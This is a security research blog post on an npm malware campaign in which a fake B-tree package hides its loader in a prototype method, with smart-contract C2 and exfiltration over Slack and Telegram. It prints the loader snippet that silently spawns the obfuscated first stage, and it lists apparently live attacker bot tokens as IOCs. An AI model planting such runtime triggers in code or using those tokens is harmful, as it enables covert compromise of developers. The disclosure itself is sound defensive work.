Press Release Checkmarx Fusion: Hybrid Scanning Delivers the Most Complete Vulnerability Detection Available Read Now
Gartner® Checkmarx Named a Leader in the 2026 Gartner® Magic Quadrant™ for Software Supply Chain Security Get the Report
Outlook Report The Future of Application Security in the Era of AI Download Now
Latest Innovations
Checkmarx for Developers
Partners
Blog
Research

npm ‘btree’ Malware Campaign Affects Millions of Downloads, No Need for Install Script

An ongoing npm supply chain campaign is using a malicious package, indexed-btree, that mimics the legitimate sorted-btree library — but instead of a preinstall or postinstall script, its malware trigger is buried inside the package’s own prototype method, firing the moment the library is used. The malware fingerprints hosts, exfiltrates data via Slack and Telegram, and uses an Ethereum smart contract as a resilient C2 channel. Checkmarx Zero breaks down the technique, the IOCs, and why runtime — not just install-time — analysis is now essential.

Image with text "npm btree Malware Campaign" over a dark, grunge background with interconnected, glowing network cubes and the Checkmarx ZERO logo.

An ongoing campaign on npm affects various packages using a smart contract. As of this writing, the attackers appear to have earned 109 ETH, which sums around 230,933.57€. The tactic obscures malicious code inside the target package’s JavaScript prototype code instead of an install script, demonstrating our previous prediction that npm’s blocking of lifecycle scripts would cause a shift in attacker tactics.

Since this campaign is ongoing, this post will remain updated as new details emerge.

Summary

Indexed-btree is a malicious npm package mimicking the legit sorted-btree package, an ordinary B-tree/indexing utility. Unlike the common attacks we’ve seen in the supply chain space, this package does not rely on preinstall / postinstall at all. Instead, it runs entirely from application code at runtime. Additionally, this package achieved almost 2 million weekly downloads, which shows not much has changed in the npm ecosystem despite the limitations put on lifecycle scripts.

What’s new

npm v12 provided a big shift by blocking lifecycle scripts but this is not stopping attackers. This may be fooling defenders into thinking packages are legit just because no install script is present. But as we discussed in our previous blog “npm v12 Lifecycle Script Limits”, that just defers the exploit code from the installation stage to the importation stage of a malicious package.

The trigger: a simple load inside the main method

There is no install hook inside package.json, so merely installing the package doesn’t do anything malicious.

The malware loader hides inside the library’s own BTree.prototype.set method, which is the main function that every user would call constantly. This triggers the sharedLoad.min.js which contains the obfuscated first stage of the malware.

BTree.prototype.set = function (key, value, overwrite) {
    try {
        const path = require("path");
        const fs = require("fs");
        const {spawn} = require("child_process");
        const loadPath = path.join(__dirname, "extended", "sharedLoad.min.js");

        if (fs.existsSync(loadPath) && key == 100) {
            let child = spawn("node", [loadPath, String(key)], {
                detached: true,
                stdio: "ignore",
                windowsHide: true,
            });
            child.unref();
        }
    } catch(error) {}
    // ...
};

This is a well-built way to sneak past standard taint-analysis tools and most static scanners. The “install” hook is completely clean, but then the infection is inside a prototype function—since this is an override of a setter prototype, it is, in all likelihood, always going to fire upon package usage.

Malware behavior overview

The package ships a heavily obfuscated file (with common techniques such as string-array encoding and self-checksumming array rotation) that:

  • Fingerprints and exfiltrates host information. OS architecture, hostname, and CPU / memory / uptime are beaconed to a hardcoded Slack channel and Telegram chat.
  • Uses a smart contract as its Command and Control (C2) channel. A blockchain contract deployed on Sepolia testnet exposes getter and setter functions that the malware polls instead of requesting a plain domain. This technique is more resilient to domain / IP takedown than traditional C2 approaches, since it uses the smart contract as a pointer to a new address whenever the old one gets taken down.
  • Unlocks the second-stage payload with an on-chain key exchange. The loader generates its own X25519 keypair and retrieves the attacker’s X25519 public key from the contract. It computes an Elliptic-curve Diffie-Hellman (ECDH) shared secret between the two keys to derive a new AES symmetric key. Then it uses that AES key to decrypt two ciphertext blobs stored in the contract that, once merged, form the malware’s second-stage payload.
  • Cleans its traces. Contains functionality to delete the malware files and remove the trigger code from the main prototype function.

And how can it be that popular?

This campaign is quite sophisticated in how it tries to make the package look legit. It does not only lack the obvious install scripts, but it also contains a legit-looking GitHub repo, with legit-looking commits and an account.

At the time of writing, the repository is still up: https://github.com/INDEXED-BTREE/indexed-btree/commits/main/

A GitHub repository is something that attackers don’t usually bother creating. This one is clever enough to not include the malicious code. Additionally, the presence of many commits can aid in making it look like a legit repository.

The account itself doesn’t contain much activity or a detailed bio, but the presence of an AI-generated photo is still a good way to make it look legit at first glance.

GitHub repository of the malicious package
Legit-looking commits
Fake GitHub account

Indicators of Compromise (IOCs)

List of packages

Indexed-btree is the malicious sample, and these are packages that were subsequently removed:

  • ordered-kv-index (448,184 downloads)
  • btree-leaderboard (493,685 downloads)
  • priority-slot-queue (402,860 downloads)
  • btree-range-store (468,092 downloads)
  • btree-core (1,951,274 downloads)
  • btree-time-index (425,312 downloads)
  • btree-lru-cache (372,185 downloads)
  • neighbor-key-map (366,019 downloads)
  • sliding-score-window (448,024 downloads)

It’s worth noting that the attackers’ smart contract was also found in the past in other packages:

  • mutex-forge

Ethereum Sepolia smart contract

  • Contract address: 0xE390863Dac96a7118C71227C2b099B50cF602D31

RPC endpoints

Telegram exfil channel

  • Bot token: 8961878831:AAG4WTbRUcbXI5UCaN4VXK8k57ghqqkg_qI
  • Chat ID: -1003952553968

Slack exfil channel

  • Bot token: xoxb-11307403103236-11289767127959-U58yt3zLurAvVoZOf0OBtxCW
  • Channel ID: C0B8XPGCKQS

Cryptographic keys

  • Hardcoded X25519 public key (SPKI/DER, hex): bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702

Why this campaign matters

This ongoing campaign is a dynamic threat to organizations, with a resilient C2 and malicious code hidden inside package code.

From a more academic perspective: we’ve already covered how this shift of malicious code from install scripts to runtime execution was inevitable, and how that simple change of attacker tactic made the removal of install scripts an ultimately weak mitigation. This package, with its transition of malicious content from lifecycle scripts to main package code, is a good example of how that can play out. Despite the npm change, attackers produced sophisticated malware that hit 2 million weekly downloads and didn’t need postinstall to run.

Blocking lifecycle scripts is still worth doing, but runtime behavior analysis, not just install-time, is what actually catches packages like this.

See our recent discussion on npm v12 lifecycle-script blocking.

Tags:

Malicious Packages

Malware

NPM